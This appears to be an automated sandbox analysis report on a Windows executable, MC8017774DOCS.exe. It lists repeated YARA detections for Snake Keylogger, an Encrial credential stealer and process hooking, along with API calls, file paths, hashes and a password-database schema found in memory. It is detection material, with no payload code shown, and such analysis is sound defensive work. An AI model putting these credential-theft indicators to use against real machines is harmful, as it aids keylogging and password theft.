Source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: MC8017774DOCS.exe PID: 4488, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Code function: 0_2_0040336C EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040336C

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_00404C7B	0_2_00404C7B
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 0_2_6E9B1B63	0_2_6E9B1B63
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 4_2_03E43AAC	4_2_03E43AAC
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 4_2_03E4B978	4_2_03E4B978
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 4_2_03E44BC8	4_2_03E44BC8
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 4_2_03E41B4C	4_2_03E41B4C
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Code function: 4_2_03E469D1	4_2_03E469D1

Source: MC8017774DOCS.exe, 00000004.00000003.2639623192.0000000035F05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMsMpLics.dllj% vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3478413317.0000000034DB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3476036769.0000000033A77000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAubriella.exe4 vs MC8017774DOCS.exe
Source: MC8017774DOCS.exe, 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename_.dll4 vs MC8017774DOCS.exe

Source: MC8017774DOCS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.36720000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.360e0000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.b096e.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 4.2.MC8017774DOCS.exe.afa4e.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: MC8017774DOCS.exe PID: 4488, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, -A-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.36720000.4.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, -A-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, -A-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.MC8017774DOCS.exe.b096e.1.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/5@5/5

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

0_2_0040336C

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Code function: 0_2_004046FF GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004046FF

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry

Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

File created: C:\Users\user\AppData\Local\Temp\nsj84F3.tmp

Jump to behavior

Source: MC8017774DOCS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MC8017774DOCS.exe, 00000004.00000002.3476754356.000000003416B000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.000000003412B000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.000000003415E000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.000000003411B000.00000004.00000800.00020000.00000000.sdmp, MC8017774DOCS.exe, 00000004.00000002.3476754356.0000000034139000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: MC8017774DOCS.exe	ReversingLabs: Detection: 42%
Source: MC8017774DOCS.exe	Virustotal: Detection: 48%

Source: C:\Users\user\Desktop\MC8017774DOCS.exe

File read: C:\Users\user\Desktop\MC8017774DOCS.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\MC8017774DOCS.exe "C:\Users\user\Desktop\MC8017774DOCS.exe"
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process created: C:\Users\user\Desktop\MC8017774DOCS.exe "C:\Users\user\Desktop\MC8017774DOCS.exe"
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Process created: C:\Users\user\Desktop\MC8017774DOCS.exe "C:\Users\user\Desktop\MC8017774DOCS.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MC8017774DOCS.exe	Section loaded: wldp.dll	Jump to behavior
